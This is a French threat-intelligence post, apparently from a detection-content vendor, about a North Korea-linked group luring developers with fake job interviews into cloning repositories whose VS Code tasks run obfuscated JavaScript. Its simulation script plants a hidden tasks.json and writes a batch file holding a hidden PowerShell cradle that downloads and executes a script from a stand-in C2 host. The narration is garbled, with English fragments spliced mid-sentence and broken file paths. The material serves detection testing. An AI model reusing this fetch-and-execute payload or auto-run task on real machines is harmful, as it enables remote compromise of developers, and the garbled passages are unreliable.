SOC Prime Bias: Critique

24 Avr 2026 16:18

Leurre d’Entrevue Fausse Utilisé par Void Dokkaebi pour Diffuser des Malwares via des Répertoires Git

Author Photo
Ruslan Mikhalov Chef de la Recherche sur les Menaces chez SOC Prime linkedin icon Suivre
Leurre d’Entrevue Fausse Utilisé par Void Dokkaebi pour Diffuser des Malwares via des Répertoires Git
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Void Dokkaebi, un groupe de menace lié à la Corée du Nord, utilise de fausses offres d’entretien d’embauche pour attirer les développeurs à cloner des dépôts malveillants. Une fois ouverts, ces dépôts exploitent des tâches VS Code injectées et du JavaScript obfusqué pour transformer des projets de code de confiance en canaux de diffusion de malware automatisés. Les dépôts infectés peuvent ensuite aider à propager la compromission dans les environnements de développement et les écosystèmes connectés.

Enquête

Trend Micro a découvert plus de 750 dépôts publics infectés, plus de 500 configurations de tâches VS Code malveillantes, et 101 cas impliquant un script batch personnalisé conçu pour altérer les commits. L’analyse a montré que le code malveillant récupérait des charges utiles via des services basés sur la blockchain et délivrait en fin de compte une variante de DEV#POPPER RAT. Ce malware communiquait ensuite avec l’infrastructure attaquante via des canaux basés sur WebSocket et HTTP.

Atténuation

Les défenses recommandées incluent l’isolation du code reçu par le biais de processus d’entretien d’embauche, l’ajout de .vscode/ to .gitignore, l’application de commits signés et la protection des branches, et l’audit des dépôts pour détecter les marqueurs d’infection connus. Les équipes de sécurité devraient également surveiller le trafic d’API blockchain pour détecter un comportement suspect et bloquer l’accès aux URL de commandement et de contrôle identifiées. Les développeurs devraient traiter les invites de confiance de l’espace de travail VS Code comme un point de contrôle de sécurité significatif, et non comme une action de clic systématique.

Réponse

Si une infection est suspectée, isolez immédiatement la station de travail affectée, révoquez toutes les informations d’identification exposées, supprimez les fichiers de tâches .vscode et le JavaScript injecté, et procédez à un examen complet du référentiel impacté. Les défenses réseau devraient également être mises à jour pour détecter les schémas connus de commandement et de contrôle et bloquer la communication sortante vers les points de terminaison blockchain identifiés.

"graph TB %% Class definitions classDef stage fill:#e6f7ff classDef technique fill:#fff2cc classDef file fill:#f0e68c classDef malware fill:#ffcccc classDef indicator fill:#d9ead3 %% Node definitions stage_initial["<b>Stage</b> – Accès Initial<br/>L’attaquant attire le développeur avec un faux entretien et un dépôt Git malveillant"] class stage_initial stage tech_user_exec["<b>Technique</b> – T1204 Exécution Utilisateur<br/>La victime exécute un contenu malveillant comme un lien ou du code copié"] class tech_user_exec technique tech_malicious_link["<b>Technique</b> – T1204.001 Lien Malveillant<br/>Le lien dirige la victime vers un dépôt malveillant"] class tech_malicious_link technique tech_malicious_copy["<b>Technique</b> – T1204.004 Copie et Coller Malveillant<br/>Le développeur copie du code depuis le dépôt malveillant"] class tech_malicious_copy technique stage_repo_harvest["<b>Stage</b> – Récolte de Dépôt<br/>Le dépôt cloné donne accès au code source et aux informations d’identification potentielles"] class stage_repo_harvest stage tech_code_repo["<b>Technique</b> – T1213.003 Données des Répertoires d’Informations : Répertoires de Code<br/>Adversaire extrait des données des répertoires de code"] class tech_code_repo technique stage_execution_vs["<b>Stage</b> – Exécution via VS Code<br/>.vscode/tasks.json exécute le téléchargeur automatiquement à l’ouverture du dossier"] class stage_execution_vs stage tech_trusted_ide["<b>Technique</b> – T1127 Utilisation de Proxies d’Utilitaires de Développeur de Confiance<br/>Abus des extensions IDE de confiance pour exécuter du code"] class tech_trusted_ide technique tech_ide_ext["<b>Technique</b> – T1176.002 Extensions Logicielles : Extensions IDE<br/>tasks.json malveillant déclenche l’exécution"] class tech_ide_ext technique file_tasks_json["<b>Fichier</b> – .vscode/tasks.json<br/>Configuré avec runOn folderOpen pour lancer le téléchargeur"] class file_tasks_json file stage_payload_retrieval["<b>Stage</b> – Récupération de Charge Utile<br/>Le téléchargeur récupère des charges utiles depuis les points de terminaison RPC blockchain"] class stage_payload_retrieval stage tech_resource_hijack["<b>Technique</b> – T1496 Détournement de Ressources<br/>Utilisation de l’infrastructure blockchain pour la livraison de charges utiles"] class tech_resource_hijack technique tech_obfuscation["<b>Technique</b> – T1027.007 Fichiers ou Informations Obfusquées : Résolution d’API Dynamique<br/>Le code masque les points de terminaison API et les résout à l’exécution"] class tech_obfuscation technique indicator_blockchain["<b>Indicateur</b> – Connexions RPC blockchain sortantes<br/>Appels à api.trongrid.io aptoslabs.com et BSC RPC"] class indicator_blockchain indicator stage_module_hijack["<b>Stage</b> – Détournement de Module<br/>Répertoire .node_modules caché placé pour précharger des modules Node malveillants"] class stage_module_hijack stage tech_shared_modules["<b>Technique</b> – T1129 Modules Partagés<br/>Module malveillant chargé avant les modules légitimes"] class tech_shared_modules technique file_node_modules["<b>Fichier</b> – Répertoire .node_modules<br/>Contient le module détourné"] class file_node_modules file stage_rat_deployment["<b>Stage</b> – Déploiement de RAT<br/>La variante de DEV#POPPER RAT établit un C2 WebSocket et exfiltre des données"] class stage_rat_deployment stage malware_devpopper["<b>Malware</b> – DEV#POPPER RAT<br/>C2 WebSocket, exfiltration de fichiers, évite les pipelines CI/CD"] class malware_devpopper malware indicator_c2["<b>Indicateur</b> – URLs C2 WebSocket"] class indicator_c2 indicator stage_persistence["<b>Stage</b> – Persistance et Manipulation de Commit<br/>JavaScript malveillant injecté dans les fichiers de configuration et le script batch modifie les commits"] class stage_persistence stage tech_timestomp["<b>Technique</b> – T1070.006 Suppression d’Indicateur : Timestomp<br/>Modifie l’horloge système pour antidater les commits"] class tech_timestomp technique file_postcss["<b>Fichier</b> – postcss.config.mjs<br/>JavaScript obfusqué injecté"] class file_postcss file file_batch["<b>Fichier</b> – temp_auto_push.bat<br/>Automatise la modification des commits et le forceu2011push"] class file_batch file stage_propagation["<b>Stage</b> – Propagation<br/>Dossier .vscode malveillant et code commis, les développeurs en aval héritent de l’infection"] class stage_propagation stage tech_propagation["<b>Technique</b> – T1127 Utilisation de Proxies d’Utilitaires de Développeur de Confiance<br/>Réploitation répétée de l’IDE à travers des dépôts clonés"] class tech_propagation technique tech_repo_spread["<b>Technique</b> – T1213.003 Données des Répertoires d’Informations<br/>Le code malveillant se propage via le partage de dépôts"] class tech_repo_spread technique indicator_detection["<b>Indicateur</b> – Détection des IOC<br/>RPC Blockchain, C2 WebSocket, chemins HTTP /verify-human/ et /u/f"] class indicator_detection indicator %% Connections stage_initial –>|utilise| tech_user_exec tech_user_exec –>|inclut| tech_malicious_link tech_user_exec –>|inclut| tech_malicious_copy tech_malicious_link –>|délivre| stage_repo_harvest tech_malicious_copy –>|délivre| stage_repo_harvest stage_repo_harvest –>|exploite| tech_code_repo stage_repo_harvest –>|conduit à| stage_execution_vs stage_execution_vs –>|utilise| tech_trusted_ide stage_execution_vs –>|utilise| tech_ide_ext stage_execution_vs –>|exécute| file_tasks_json stage_execution_vs –>|déclenche| stage_payload_retrieval stage_payload_retrieval –>|utilise| tech_resource_hijack stage_payload_retrieval –>|utilise| tech_obfuscation stage_payload_retrieval –>|crée| indicator_blockchain stage_payload_retrieval –>|conduit à| stage_module_hijack stage_module_hijack –>|utilise| tech_shared_modules stage_module_hijack –>|contient| file_node_modules stage_module_hijack –>|conduit à| stage_rat_deployment stage_rat_deployment –>|déploie| malware_devpopper malware_devpopper –>|communique avec| indicator_c2 stage_rat_deployment –>|prépare pour| stage_persistence stage_persistence –>|utilise| tech_timestomp stage_persistence –>|modifie| file_postcss stage_persistence –>|exécute| file_batch stage_persistence –>|permet| stage_propagation stage_propagation –>|utilise| tech_propagation stage_propagation –>|utilise| tech_repo_spread stage_propagation –>|produit| indicator_detection "

Flux d’Attaque

Exécution de Simulation

Prérequis : Le contrôle préalable de télémétrie et de bascule doit être passé.

Raisonnement : Cette section détaille l’exécution précise de la technique de l’attaquant (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés conduiront à un mauvais diagnostic.

  • Narration de l’Attaque & Commandes :
    Un attaquant qui a convaincu un développeur de cloner un dépôt malveillant dépose un VS Code caché tasks.json dans le répertoire du projet. La tâche référence un .vscode script temp_auto_push.bat situé dans le répertoire temporaire du système. Le fichier batch est généré à la volée à partir d'un extrait JavaScript obfusqué qui intègre les marqueurs script located in the system’s temporary directory. The batch file is generated on‑the‑fly from an obfuscated JavaScript snippet that embeds the markers global['!'] and global['_V']. Lorsque le développeur ouvre le dossier dans VS Code, la tâche se lance automatiquement, exécutant le fichier batch, qui atteint finalement un serveur C2. Cette chaîne remplit T1053.007 (tâche VS Code), T1127.003 (raccourci persistant via batch), et T1027.007 (obfuscation).

    Les étapes sont :

    1. Placer le malveillant tasks.json avec les chaînes requises.
    2. Créer le JavaScript obfusqué qui, lorsqu’il est évalué, écrit situé dans le répertoire temporaire du système. Le fichier batch est généré à la volée à partir d'un extrait JavaScript obfusqué qui intègre les marqueurs contenant la commande malveillante.
    3. Déclencher l’exécution de la tâche VS Code (simulée en inviquant la tâche via code --folder-uri CLI).
  • Script de Test de Régression :

    # -------------------------------------------------
    # Simulation de Tâche VS Code & JS Obfusqué de Void Dokkaebi
    # -------------------------------------------------
    $vscodeDir = "$env:USERPROFILE.vscode"
    $taskFile  = Join-Path $vscodeDir "tasks.json"
    $tempBat   = "$env:TEMPtemp_auto_push.bat"
    $jsPayload = @"
    (function(){
    var g = global;
    g['!'] = true;    // marqueur pour détection
    g['_V'] = 'payload';
    var cmd = 'powershell -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString(''http://malicious.c2/payload.ps1''))"';
    var fso = new ActiveXObject('Scripting.FileSystemObject');
    var file = fso.CreateTextFile('$tempBat', true);
    file.WriteLine(cmd);
    file.Close();
    })();
    "@
    
    # 1. S'assurer que le dossier .vscode existe
    New-Item -ItemType Directory -Path $vscodeDir -Force | Out-Null
    
    # 2. Écrire tasks.json malveillant
    @"
    {
    "version": "2.0.0",
    "tasks": [
    {
      "label": "AutoPush",
      "type": "shell",
      "command": "cscript //nologo //E:jscript //B - <<'JS'n$jsPayloadnJS"
    }
    ]
    }
    "@ | Set-Content -Path $taskFile -Encoding UTF8
    
    # 3. (Optionnel) Invoquer directement la tâche pour simuler l'exécution automatique de VS Code
    # Remarque : Dans un environnement réel, VS Code parserait et exécuterait cette tâche.
    Write-Host "Tâche malveillante VS Code déployée. Déclenchement via exécution simulée..."
    cscript //nologo //E:jscript //B - <<'JS'
    $jsPayload
    JS
    
    Write-Host "Simulation complète. Vérifiez SIEM pour l'alerte."
  • Commandes de Nettoyage :

    # Supprimer les artefacts malveillants
    Remove-Item -Path "$env:USERPROFILE.vscodetasks.json" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPtemp_auto_push.bat" -Force -ErrorAction SilentlyContinue
    # Optionnellement effacer le répertoire .vscode s'il a été créé uniquement pour le test
    if ((Get-ChildItem "$env:USERPROFILE.vscode").Count -eq 0) {
        Remove-Item -Path "$env:USERPROFILE.vscode" -Force -Recurse -ErrorAction SilentlyContinue
    }
    Write-Host "Nettoyage terminé."